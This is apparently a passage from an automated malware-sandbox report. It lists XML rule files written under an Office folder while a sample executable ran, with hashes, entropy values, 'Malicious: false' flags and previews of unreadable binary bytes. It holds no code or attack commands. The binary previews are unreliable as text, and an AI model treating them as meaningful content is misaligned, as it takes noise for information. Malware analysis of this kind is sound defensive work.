....=)..P.S.@...7...{.FEj..@.}...xR\|ty...7....Y..,.PTi..wT..pl.,.......T..?oD..-^..._.....xn....:..s....VN....V...c.....h.....N.p..k8.<...05o.e...6B..O....t."......LQbDo

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.943142180664761
Encrypted:	false
SSDEEP:	96:PxmILevY97OQDFoOfWBMaCQNeR/WvtcPkD:PxmQeq7Oqs2QNelkD
MD5:	A8B84AD24E0AE47D19D66D7B9EFB3F11
SHA1:	C404F1403301A6417920B6643C0D04D141176394
SHA-256:	FEE946C7A9D6335445E66EBBC011687C59BFFA2814056A36A1FFBD44A8DFB053
SHA-512:	41407B282E9314E4009450DB5C2A37CEC40A41E6D74D0EAD0A513FE0543BA32F4B810BD04511A3FDC0FB3F89DD1F02863CB831FF346233186E2648831E392B35
Malicious:	false
Preview:	<?xml..R.\|.o =.-...y..Qf...Q..".v.v3..kN6<.n...1.P.I.!.........BY..TC.\|J.I.4...f)..v.....<d.a5...c.^..k.....0.......f/.S7.........w.$...$.b.....F..:U........Kw...#h.@q.c.H.P...<.C...tu...........b.$=........z..$}.."eBQ..V......&..8.z..X.$..i..c...{%.m.H7L...T&vv....._.XXct.?...b.D.y.z.G.....#..y{}..OE.d.."..O....F.......G[.....jH....{.m..C=..s5..@..vHpf...:`..J.....)}....kE../.L;...sI...(H.......A9...7.%.l{.a...{<.c.D....A...H+b..bb.XC{D.....D.tu.-}FL..^...!dF......&......-.U....].P..S..\..&....V...dT.j'.O?...cg(..@.O.^......Q..~..:q........8.".~l].....j<...\|p.~1....L..o..'..@..bG..J.t...YVo..r.Yfc...S..~.b..&55..l..F..-..L[._.z...n..-..d...x..v>'?f..~.5......B.,Z)..;...@vjz.....5v2..r7]..$Pi...K.O7.....K[t...Ao@T...h==..q:.."....4.Pe..,..p.+<....Cd..c.D.....f._.T<...0.s...,.ly....$....1...._....eW..A.E.Us.....zkX.'>....hTHj.qF..d.!}.?..-.\|.<.+F.V.z.V...ip.rXx.......%f..c....I.J6.M...C.DnY...?....N..E...............?7.B.=...&.\|.^K.ov..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.8574334900583525
Encrypted:	false
SSDEEP:	24:/s2NUwT2IpkVEn26jC41/YaDL4lY297vhMHjJgk7P6jbMi0Pljs8vkqbD:/DL4j6jC4dlaOHjJgUP6jbMiiljDv/D
MD5:	CCF4233CE765ACCDD6D737DF048FC891
SHA1:	CB4D228D24702AF94D8271607B4CA8B7B8FBFD7A
SHA-256:	E86007A9B0465D4E9C298BC187A2D1F24A7CDCA86B24E5F100EE77D629727A04
SHA-512:	1BEF32093D38020FE0D851885D5E9B2D4DEA8C3B05DEF6D59491F46805D6782F9BDF7121004D2AE93086175684A38514713DE219480801ED63465A321F5A9F17
Malicious:	false
Preview:	<?xml[D}..8..(.....[..P{\|.;.;..<..w.4.+^0...c........V.;X&.r..[.HI....f.._h%.F..xq.'I.U.v....e.r.b.l.WL...r.....o^..".<7...,.o....UH..wFy/S=.F.&Ja..~..6..T?....;. l...0....b.]O<.:..{.I..+.G&`..)X(.{..`x...]...f/..\|.@.a32.x.)....7..fZI......m....%..I.+.....V4%..2..\<...`.[.....Q..BUK%E.{.11.;...F'...8.%..i.=.}.......s......>.A.XY^i.I..3.~$..m.....'.2..C.......x....../.V.hJ."\4.L....[.^.SY.]....b...V.#....K.L..(...zv..Q}a\..v..`.<<....LuH..g..?.d...];V.;K..T...75?n.J'_.O...xH..M.m...g...&.~.c..?</...tW.7..>.DN ]b......}..8ha...0.O.].ph..._..9..y9.....;....Sb..:...j.._.b=..(....4z..4.H.:.EZ.e..nn=...u....p.Ap.3ne....."... #...NV...i...:..M4.}l....F$..[.Qmo...(.\=....bW.`...mB.... *..;P....~...h...f.]..D.;.m............f4.xY3.V1...w.Ek...z.A......]Y!...)#.n....\m4......i-9\|..]Q.....LX3 .SN...N. b&U..~.m......d>....uc.u..,=..g,.;S.w[....q...qA0....y...aC..B....pK......jm.C,'...v'?.-k...A....#..dY..w.G?G_H.q\|5?H.sl..a.X.j...#.p..w..D......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.974780687014619
Encrypted:	false
SSDEEP:	192:i3LWD3gRGOVOaOBc4HQ1vuSaeGbfIbc9MGvtRWHvWt6DY2:oqbgR/VOaO2JkR9UvDL
MD5:	3C0D3DD3A8C934532F7B49AB169514DD
SHA1:	D7D559ABB10E5A22E961D5D023F0181FC5C3A0D4
SHA-256:	3588D1FD81C57FF81150E1A04261D88A73C34E1441C8934CE38633CA41A80757
SHA-512:	CA08389DA445D12663A098D744284287B41C89357602CF94393330CB7A3786FCBBA49C989948B948CB67E1E1A9637F45B912A5D749B6020DA5A381A12451B09E
Malicious:	false
Preview:	<?xml.!.8.U.9...G...0.....j.tM.;.P.F!.u..4Z..(oG...w..5.x.H.;..!....:.....~.o..-....g..8C...yA#..u...#{A..bQ.s../.b<..a.a.F....@8...h.?.JK@.E.V..5......:..Wc....y....:c.2\|:................=,!....v.p...3?.W....`......,C..Rxk..#..IK..gR&m{..._;.N..x3.\_.H......6.....n.a..Q>....u........x".....E_......p.1.t..p.~.A.z..U..[....+.V.....@p.......u.6......d..L@...,...M..a....._z`.C..8..:...f.C...:'....0.9....X.P.....0...... ..@...Y............_..........O..7$=.k...i3..[....S....."1..N..g.r&.~..}..]....q././R:...3..o5.&.j.......Q^<`.....k..].............U...TM.....VA.'..{C...H0!mj[.L.`.E....:......9.<.Ts-YC.W.s.;@...d,..c.2. ..e.1MgEu...Q.{..q. ...$..O....2hI\`193..&.g..l.r{.y...,U;.......Es.m...........r...."L#.b...b.......U...:..HDU.\97.%...1.#G.`\?[.R......b..zv..A&..............:...{.........`P....r`o...... *Ad.R..NB..Z..q..T1.....9..#qK2..$n2.s#......[.....%k.j.5...p....P.a......OR6m$..M......B.V.[..t...k...Zo....=x...3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.705618428343783
Encrypted:	false
SSDEEP:	24:wdp+OFNVj4CKjXFd3I5BVSxVt47ZxeVMaobD:wKOFNyCKrY5exVita4D
MD5:	A91128EFDE0A3C6ADA1A1AB22008F5BD
SHA1:	BEFFF9AEC02A0BA337DEC2ED0B5048FBAF8C6F73
SHA-256:	7D7F472AECF86208DA00EEB5487700B3DABFE1FEA1612B1C6961C6D9F75CBF9E
SHA-512:	748DD221C8FB7BA79B7A10F759B85701D54EB2C37B02D284944CD590BBE6396750549628428C2A5CB320CA19B4AFC25DD447BEFB09CF63C459DE6CC8F9646718
Malicious:	false
Preview:	<?xmlM.>E.6..w._..,0.y..8.....]...]).u.8l.v4-..I.doW.L..?.g@..+1.:...$.]W)..d..U\....s...~.....C..&...w...}z..N9I..[.ni..?RJ......a@M..e.....AD.O......F..2..@X....s.)...n..m......#....E.R@Dys4"!.uh.y.R..aw/N..6mW..}.09.....q..2.o;.....O....E..f..8...Ag..t...e{n.c...$..2E.,.*A..^..:qy..Z'.23&..n..... ..(.........h.0.6m.6....0..X...a...,...lH..ypf']X.pd..0A..C..s...?....,f..c....2.a.g........F.._.I........".p.I..........=T.9C,..:Ot..t$=.%.c..T.v.v..YDbFd0.. ..]...K\/..]...(.._r..Q.C4...<../.i....et.o....9..Z....)A.U.}s._....X.T.z....r.].....>..{..R,..@mu......KK.....L...\|K.H..O.....H]..#.......Oc.a..m4.l1n...m.;Ct.`.B.V..i..~.i.....h..9.O.D2.D.. ..]t.o.+6RL..r.xm...q0$.....v.d.)..8LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.9165741397729406
Encrypted:	false
SSDEEP:	48:uhl6oMIkrMZyWH7Rz6rWgUz1WeSxSsQqpv5oAUuN3jLlD:uh15ZB4r/UzoeCHpv5oAUuNzR
MD5:	0BB4BB05B0CA512B64FF9B2CFA801CB3
SHA1:	5C8084C7D254DBCB52B4ACF1A1A07AD6D66A3AA0
SHA-256:	DAA081B24D5D7CAA870476B0C27D955A4D7744136EFD4989D8A526618480859E
SHA-512:	1E04ED6D1EBCC8063FBE2391AE3EC4B5E344E58D7761123A15571DC74190EF97781CF5C20E7957B981BEC51991F7C7326056636C2079D9908BB2A05BFEA0EC18
Malicious:	false
Preview:	<?xmlZ.w...).I.].Yl..d.!xK.<O^.o.56.L-..y.z..;M.@a.D.._...1.1tglS..&.a.jPj2.?..].+...;1.4....%T.&d....2.$}..Q.......!vO..k.\|..Ft............v.R^..c.......?d`8..&..0=k%.....>...6.T.(kG..s...N........).#93...Gl@...t.........B6.8.....Z....G..}c......Z......F23..$o.1.}z%..b..$).... ..f..3Oo.Av<..m.auLt.....5!.S.v..bk........9.q..p...x....Tp...t...R...F...r4>y.62.C......I..a.\...[..i)..E-..rE5..$.k.....V....B..\|..Q.....@"\|..N,C...4..u.$?.B.\|.....O...J}......Ge...#1.../?.[.r5TI..7..-d&! ..>......z...Ip.z....&.%SU...s.A.M......u...!..R.=E~.~r.(..W....J..R.n.8R\|...4E..7..@.<q.4.?.#D.L.......4'......p.N...3H.i`.vu..!G.y.W.i"._..K....}JD..?.F}.......B.=....l....<.$.g..&yZR4..r..W."...1.l.N....`....`3\::..L.q..v...}.Q..@...t.....3A.r...SD._s..m..1.o.IL8....M.?{SM.9..1a......f..I.[k?HAg.).8.'..<...o..x......<.Z>.-'F.v3...;[...q......E..\[.Z.^2FSdr....$:p,;.S.T.\........E./....6....G;q..>..4....."...M..F..A....t..B.T".....y.......e...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.844044387801432
Encrypted:	false
SSDEEP:	24:az8CrKA6Jh5FXBcA1Ipnxtn0UvFMP6GDgn7rBsoSjnK8+zyP5zE4bD:RLh51In0USF8PB/sBq25tD
MD5:	0E24C8235687A8B164326B2E8904B0EC
SHA1:	475B1402D06C562A633EA474A9AA2E5D02765CD7
SHA-256:	8BED6695D515A8E3A280AD33E884DD91A531BF99B0CD8B100AC67126F995064E
SHA-512:	8BAECCC5F4B62117B5A3DC9CB757303A55FE8CFDD4B37F9C34BCAF8CEE6AE9F16887A5A40BB216C29EFEEB97256F2B0D616C88E952C844D082E4F284C2AF4C82
Malicious:	false
Preview:	<?xmlp@.. .>Z=y[v..S..Nj....t)..M...L_..}.J..%.F..X.6J.S.Yz...:d.H.....1.....>.......N...k,.F..\|.....-..f....&.....pX.%!.5..`y$.:...IM.....I.(..a....y.5^.+.gF$.]...n.3...9.2..x...eApC.4".a`<6..o.].#..!(...+X..[......s.M.........i...L...U.C.....v[N..h......\...u..&...D..v...<.t.ax.$...A....p..B.....[..{w..ZD.%..?..al.O{..SBy.Q.$V...`m..\v)}v.-....z....].....8._...o.$~.....%tt..a....%g.M...f.\7,:C.4&.!.e...E..H`t...U.=`....#\.'.@..'-..h..O..#.a}[.HG..\.....< .....v]".....>_./ ..`ko..d).s.-....g..x~...T..1^L...p.&7#8\.Sc~..Jw.j0."....pk,X..X.#..;....FXn..L.N.?.~..._b..~.j&.m..HW...D...._.,.V..I...I.y......qk...k{[. Fv$q..V...!/>)..a.UM........s.X..U...@.....U.6.N.p.._.Y.D?...:.3}........v.;.D..Y\..d..>X({q....;.G<......M.t.[j.w.....I....uTM.....s..\|..?....a.7ix.m...y....<..V.[_E...Q...G..S.h'5...%7sc$@z.zB\|...-:U...#.e..u._\K..eAK.....{6.6E..w-.g.q...z...V....g...(...zV.........yto...K..G...3..X.s5.+.....t...P.&I.....4..Y.8.W.....IS.....[...e..R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.943769584923761
Encrypted:	false
SSDEEP:	96:0g2ogTSVdqb0+lM0tnKDm+mJ9ZdHvyGJ1PCe:TngTSrqbjlM0tnUm+mjnHv9F
MD5:	097482E414CC3AAACA42CF88F88B348A
SHA1:	CE880BED2347E49059B729A984E59047E991EC08
SHA-256:	2B35F3475018EBE34D7D8F5764B3320A90BB7DC8113C5819236E9DF7B839DD05
SHA-512:	86FAA74720FB2D272ECB6BC15B1A8C542FA55EF40A1D9D7992E0FB547E794CC9300833C24F5030926D29920F16D557859DF645A6C3EF625B0AB52A5922D4B62F
Malicious:	false
Preview:	<?xml.DS.Z..F..%.F..G.C../......X...W .Ps.>.K:.[N.s..".8.J.d....%.f3......j...e.4.zL.{??!`...H.SR.....)...3.......U...p5..<z./Qr..t...K.....0...M.....KI..Als#.59..-.Se.,.K5.8....^..uQY..SRn.i.h......-..Qk.`.lY.X.....;..Q..p.@.^..n.....,.".O0....+...x.<...n[7.......S!.."l,.!X5.'.....%.A...W..<.\|jH-m.8.r..'......N..>.}..S.Y.....\|?....Zf....(G.....S.Y.U.R<.t..'z......#lq{..N.".0c...N..........'.es.w.)v..G....6.l.\|.....T.....c.ld..;S.T.OG..^..=...Q...h....@..(\R.J..4.....+....0.K]%[....\....v.t.2\i....AC...;:.......R9.E7.->^..!..~:....^...%.\|d.][....b..r....5.DhO,D$.... U..=.G..E.5k.@..$.:...f......e...u{..`.1yG>s.(.E.=.f..q.........q..Vo...4....3....R....C.......].aH..PI.....A....sn.&G..E.n...wZ5RHU.o...p[.....1...y..z...-..a...%q\|.u.............M\6v.@6...8."0......C...>4..B.R....&. ..v..m..7.E`..(.=..H.;_.T1;.o ....-.?#m.Y.j..K...\<.....s.%..1.H...89.bS.....wN.....z.....h7..~...sb#..R....Tu...4.1.........Z......P.....H.?....R{.O*.$H.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.89963055741492
Encrypted:	false
SSDEEP:	48:H4tWD5QjJtU/79o7qICkbhUJowILbO5bPof8KtQ0zrhnstqKD:HNDiqpwMIPU2ztjfhstqC
MD5:	0AD0133A1FB38060CA41D24C0EDEE3B9
SHA1:	DE528CEA62C2556F7E7EBAAED169190814165E5A
SHA-256:	003A9AFBE22E66E27BB29E7F1B81BAFB00D0C472E5F123ACBD082D7DFC4ACD17
SHA-512:	91A65FD7B533002F117DD6605DF40B252931DC2001D1D2EACA7F539878FA84B864DD012C6C86F26173022446BA21A83CAD4829F083FAE6C91FC792B7FD256577
Malicious:	false
Preview:	<?xml@...J.1..../.A.b..0..h..1...8...Y.;Q.....j...H......0s.......E..T8\|.k.B.....7YL....L.M1uA.......M.+....C[..O.5.\|b..qB.:g...g#.......f%].L.v...k ...F@S.....=ST...).r5...........!..!^C.....6.=..c..Y...}.\|?.V1^3.>e..I......40.3".o-....,Y>..}.......z`P...!#W.2{....66.@m..........tLs..,..-.g4....s..E".....]..R...i........._s..qN1..,....i.=....Y.5qx1.G.XvQ.I...#x....O.{a.z....B.....L.))..U.5.nB.:..y.}s=..c.P.>/-&e..^.s.X.l.$..x......p......hl+.F..ct.5....<..R.P......4\..Y.~.0v..}_X..eS...1......3p......ga.M7S>.l......+....6a./.&.....S..VF..S....t..)&..k6.(.((.......>....Z7....at./..m..}..J=..#=....,G<..h}gF.U....".6.....z.....D.....#4..:.........Y^&/.!...bZ...n1>Vnb..[.?...E.....u.E..k..LobK.4R..v..A}B.%!..Z.0'..k.J.T...jgo/..%.5&.0=:#.... .....~.yM....8"......t"6..X ...j.`2.t.c..&Vc....F....Mt.....q.}.e0?{..o=..q..T..!...x........G.\k.e............`SvDQ..r.."..u.....h.H..6}tEC.'.S.g....[.-......kM..w..*.S=..(..G.)"....v.6...7QkL..iue.a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.977045069785991
Encrypted:	false
SSDEEP:	192:Bm1F8dNZHy42q0KgHeRLebxt1S8YRYhqIeQ8uDYvq:4Ieq0tmeFS8pq4Yvq
MD5:	B394979A10B12151DF0C5D7498F50CAD
SHA1:	CC6950B0397BD40C263DC3664A7778A0BB076973
SHA-256:	6C8BAE03C97AC83D6E2D36AD1C56C3A2771419FCD57E909FD519800C572171AC
SHA-512:	31BB198C65324FB29593C85390B2EC136D5DC19CF3020340DE99C52BCAB24B9C88FE64E29C347B260CAF24B56498B265543E856B3794BBFC5DD45C8EE25CD86A
Malicious:	false
Preview:	<?xml.P.g.......P.e...W...i.U$..\|.\&F....(c....V.#{.....7..8.....VT......LK<.@1z..{#D.....~..4.H.O...:ak...,u..<..@..~cW.0..?....;.......0.u.^=F.w.......-.>.[X./.1.PQ.j..w.....~%.wP.D.h$..E%..7.....=4.:....ai2....Z./&.....Q.KTS.9b..Cr>.x.R.'L.G.dW<.d............\|.../..}...:.....x.2..0B.+.7v.%.....#.we.3$\.. .B.;<.-3BK...3......w[.._......Z\|1........O.z.P../.Mv..Tw.(.....Q........1....R.Je.LZ.K^.....@..<T..}.+...i...1?R~.l!..Y.h.....,...@w-u..VV..&Q.}....H....\|,...-2...Wd]P...{(?...cC..'g.,........XEo.Y....7V/..G:....wn.......)q...M..._.\9.)..2.2....Or.9@[.l.3.M..E..z,..q.8..:F...N..~.,.......W.q./..&.!......~.L.&./...@..+0..3.2+....pl.......BO..R.u#..?U,........+.o6.8.9.X......S%.....r...;.UV.....].qb... ...........0@a.....L.N.Y(....4...].Zq..^.k.(.`.e5..x.bB.......1d.l....b..yZ.G..Ada.d. ...b.#.v.Q...u....l...x.J.P..k.Nx{..2z>.BX.A"O..0<...q..v&.\|.d.l..h.wf$a.z...&........o.....^..D@7.......Z..W.....t.2.a......g....w+..h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.951917606222749
Encrypted:	false
SSDEEP:	96:vDQwe1y+OaD7RcAOW/y2i3C+5bZ2gJcnvg3U+nfHyk3ejz3gPqzQo:rq1y+/D7RS13CkZ2g2v0xaGevgpo
MD5:	2930918AD7A13085ADDE4A0068883EF3
SHA1:	89A3326AF4958DBE442D897B322F5D7D1AD792FB
SHA-256:	339E7B6FB5AA1A213D5D2967A47FD0BA7B7869C1BCD3CD3987090A60C5775F4C
SHA-512:	1DB8F2C5B13C5F989025032F2447D20447DA0940E0C1F673EFE29903E6EDA6CC1B0DAC624D79617B1A0632E50BCF0EF4CD1ADA8AD4C0D06E6D5F689173A09628
Malicious:	false
Preview:	<?xml...y.P.V...7=...O......\|s.Ay.y?.7ug,.......t?q..`k`...;Z...r....8........9..+.vO..e/.gV7....t.Xx!...].V7..<.b.-.....c6.Z.4.e...N......U.,).....c.PQqGXy.k.Bx.:.ivr.2.Q.I.>.Q.&...PR...[.m.....}d...z.w.$.."..54..FW3L.6 .......=..u...9.2cB...(............d........4......m.9.Y.L..A... j!......a.F.3...D....7....^...L.2.+.AK...[..%....eb..-..... f=...........-. ...}....Y....=.p......r{^K...b.)...a...fH..y....UZ....~%..A9W3).....S...GF.........&.e.=.2...P.......:-.R{aLBv`.6.F.9..c<........YT..Y.8.c,M)Q.Z.B<..&..0........UBd....O.....+M<..L....._..........9..a...^.v._u)P...]...u.}.s..PW..e.$z....p:...t.b.\|....Xo\).!..g\Ob.l.2N.......>nsAv.m.B..;{.......,`..ka..i~.~U...0.F..2\|...D..G...{...d..>_.P...ZC..C5.py"*.."..FG.. z...^.Y?_E./....{....6..b..B;.X.....Qu'...if..wie.$.`V...Z`[....K..\...iX,.^.8....-.W..M.,.k...a.....]]....5.....{.H.\|..).g.h...........7n$i..r.?.....y.@.v...UR&G.........eoAP.W.$.......&58.:.P..G._.eN.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.959224690468924
Encrypted:	false
SSDEEP:	96:KjMFkO5TxjrNUh3eGhXU+T0q2EO62qG63W3Bm1OyAiW5atAmcvrQXB:K6zjrNUh3FXL0LQ2zN3BrbiW50N
MD5:	37DD02A628FEE4574CDAF358921C53DC
SHA1:	E20B38FFFB2B1614EBB39C97C79A7535DD835014
SHA-256:	2778F55AF18DBF7649ABA7CCDA217B0CCDD0C451511E2F00E7D9F53C48C366D2
SHA-512:	EE40FF8D1CF47741D72825BCB10C269CA3B75FB24CF967993562C31DB59DD0740A1A529956E72F7925F5BB147714F4963FDD96D395635E16A1409433A8F200DD
Malicious:	false
Preview:	<?xml..w9kd....v....S.`V:...B....\..5..:....Zbde_.u..6_...6.nd..Py.q...hI..3..).tm.V..dp7...&.7.J....W..-..RL...L_.3..I..M.C....u.4...o,..{41p..."l@..[...%.L.>..;..H.;..S.}..oM,.l.`.Y.U.[.>.M...#.....a....w5}.u..p.V.Lj..H.(..;8Y..~-V..,..MM...y_....>.^..m..`..!.\-YH..!...~.7{.B.3Cg,........"6 .~...E/.'W.b-...F.@l.m.Z1....&.}C....(..G.&..j.2.a%..`r..Noz....{.Z.......\|\L...m.X.7...}."..@I..](`..t....... ....9.W.....Z.....=.9...s...:..\|.\|.%....[!....o.......%`t.'.j.(........E..l....l.lAe.d..R..u. .3..Rh(...Q...62A..D....9....L.s2.;l#.p....9#\|#....Ja\|..]....@...+t)...F).H..e.V..\|rn<...5.!R...X...{l=....9b(....'...DG.5.....q.U....v.....+..z(.L.......0h......t........z...H@.;...a.....%fZ+.0.....6.....K..j.....d....@..t.?G....t.W....UQ.G....U6...a,...8...m.8X.....=./I.!Q@...A.O7...iu..P..6...0.!....;..\..m.X.PrR....(5.G.?..o..\z.Qd.>.k.K.A...x..........')v.1T"..o...0..6...qj4..\|(g.Y.Ub.m./vNi@...-....K_...k$..M......C.....Q...X.....}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.9367470465582715
Encrypted:	false
SSDEEP:	48:wbrspFeOB68rd/MR/JSHi1ezCYSjmbBDRsjqoB6IfyHpioYIxvYMB9155tZD:w0poE64d/aR1euYSjwFC3cQyJRzAMBXP
MD5:	DA628D039CC6CFA2A178C0C4BB1B9616
SHA1:	C9922EED4C31DB2DF1934ED6E5F1FC646F3059EE
SHA-256:	E578AAE80D1A0EBC7DC4FBFCB120049EEDF0EB978FEFC9233FA90767297F44D3
SHA-512:	CDE573862966B045E2E44D900BF79AD6126BE5788FF4FA4F45DD59A0FF0B8571C51FE9CD8398C5847B49ACBF42A5094F25E40AFB277E2E45420B1B024207ADDC
Malicious:	false
Preview:	<?xml...K..j..X......ka......RK..9...l._....5'JN.."`..(.,..1...S....{..$....v.O.....~..W.`c`..h...90bY.......L~.7.yf.%..-E.Awb...m{b.....fT. z~.._'V..S.....At......a=5.3.#.3Zm.k.kf@...J \=..mv..`n...iE.....a.H".....I..?_...~..[.6.w }.r.&Z.R.6f...bp..f6.R....9..Z.FK........2T....c..i..c'.=..V.=D.h...(9...I....Z_,..9.R....v.....]X..."S.....8..].....r...h..u0O..........%..l.>.N).-.A.>..L..k+@.A.....Z.O3+..a.E..<N..p./.z..3up#m...I..f..W.G...!.x,.[.9.#..d.b.....^.q..u.eKd.y6..=..C.^R@.B.j.X.:..g......d.. }...'V.\|....5..o5AgH.K.(.B.lpj.ob.%...4.4J....&H......m.3Z..F..B.\1.......&.2=...L..0....sQ....".}.?.4....g.1......GU.\.J......#f.e.......e<..J..U..b(6'...95..=...%......'..0.G.P.=y....Yv...A.N.E...H..F...q.v.Vq$2.I.0....D.<.h.Z.x0m............S.[.?Y..gD<:._Vq..;.C..2....Y...W.....O...0:..T...r..t.[..C..mp...IY0..5..xsaP=`+!....RZA.a.b...~...ms..qW.w.......%..=..Zn=...z.&..=.E...I..h.....".@.@..m.aw..m,...z.f..R.E..al.'I....AWzaQ..!~.9-s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.968058448123545
Encrypted:	false
SSDEEP:	96:h+AvYXpvrGj33YF6gNjd26ebNoY29RYvTFFtBSNKV9b/Kszun6Lv2LcuJzfzJ5Gb:tbr3YF6gnH38v5FtcKV9b/KW2tzfzJ5i
MD5:	81D512E4B50F6AB189B0BE2D5C60DBD9
SHA1:	889A7D817D3EEFA12A19FB7D97FA141583371FA5
SHA-256:	8041EB5A754CE20E9BDFF736D091E511BEBEBB10416F9E4AAE9BFA918AD11CB4
SHA-512:	A01F96195CE13554A7A5859EE1646ABBD0D40DC8C90702438E7B9A8EDFAEB94F2F441BEFB378E2986EA574AD12A58529F01746CB32526A3BCD14CA2C257253C5
Malicious:	false
Preview:	<?xmlv.W.......x.fK..Z....7.?..1.(.p.(w..ixR.TH...(IHX..V..../.5....W..9..l7...j...:X..F.U....3...!..k;.......\|.....X.7i@.5.U......P...i..X...f....0.e....6=...s..:x..Y...n.bz.PU.w.&a%O..Jzs.\..o...!.}s......n.5O..y.-.@..2e.....;b%.QO'H.c.............RF.O....<:9...C..~.Q.b..!`.9..QC '..s....1........<.R..Wa..M.t.#.?..;.....Q`Y....L.~!.......}....!.?V.R.aq......6....3.lI R.R..%.Nd....Vf.Q?j$,g:.L...o...D...T....b...P......1..@....#.........A. .N...7.....,ll.Pw........O.....\|...b.+R3..Z<.2.j.mz...-.o.Mu...z..c]....!....?j=.h.q.r........B.... ....6^m.].i..<..e..dy.....c.......UF../[..Vh..$.w......V.r...3...]..n..fl.SpD.j..4bq..O..f$..)..E.S.....J#8,Q.....e.9...\..3..._{...~.cU:a)..t...J ..W+.W.5>.#o.y.....H@..9.#.vC1#..0..(H.$46.18%&8.J....>e<..K.6B:.8...7i.{...y.....b.......I.OQH}sh....y...l-......H.Pxj..b]..f.`.[..`.Lza.K..=.....o1.K.....8..["N.\..1Ko......(.'.Gp...)....b..g.O..@.(.}.St..G.xL.n0.k..... .7y..Q.F...4.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.920304053077847
Encrypted:	false
SSDEEP:	48:7W9DLRRHQgkYdxxicYQWjeK/Jm/osbBXJZv1lF74u/D:7W9D/QgbdxxrR9Xp/Z8ur
MD5:	C86CF1583A2802EF882FC4535F20119F
SHA1:	1C42665CCAD9195D54A6D7A33993C2B09120CDC7
SHA-256:	681DEFAC2C623429316F84552EA075211154684024872BC959F76EA625B2E3BB
SHA-512:	61DC8BE827479300C5DA8E896D430327E035F042C82EF4E0005D27F59BF49BF46AAF9F6BAA9252C3080ADAA3E57728120DEA7141B3CFB0F2AC331FEA0F1FEAF7
Malicious:	false
Preview:	<?xml.W.=..-SD..%,...R...@I....:.I...f_..\.Q.PE;z.\..F...hn...u.vJ.#...g$8h......]._...1.9.EL.4&.D.[......u>U.......Jn..h......=.......dpU..pqP..C_..q..^!...#..QnHN....IVH..C..rX.........$oo4D.}....L.=+..J...6r.=....'@w....Q....P..^._P...=.m.............^[-R...K..g\...._9........Y....i0.[^.).0..\|3..&...9K+.......$$.>fN.............[.p:.....Z...e....;...&w>.E.c.....w.X..O'NI...b...5.6?(.H...M.N....4Z.,S..T.2..a.`.l...<......q@...I.s:..{........)....v.d..7.4\|"c../.\ph....Z........6.... .K.%...5u~Y.y....Z{..0.......~.B....Q,.l..(.2.'l..{...EG....a.X.-f,}..........l.....KzN.j#B9}.X.6...e......{.H.Oh.B....... .....q..7t. .~~a..>.L..{.r..e.M.^.S.?.}=Zf.VS..J...5.....vu.C5..Y.H...Tn.@.^..Y...&i...m<V../..d.....O.).h0.F.....z^%B..mw7...5@.E...okz.....r;.[...`.1c[....".T..=..z.<......<.....{o.-.wv........w.b...'..6.........dp.S+.5'..zk.)$G........i4s.A....LSj...A...d%.!x}.`.@..-O...].......c.\|..:.,..U.......%..p.iB.{..9..E.....y....,......&.5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11370v1.xml

Download File

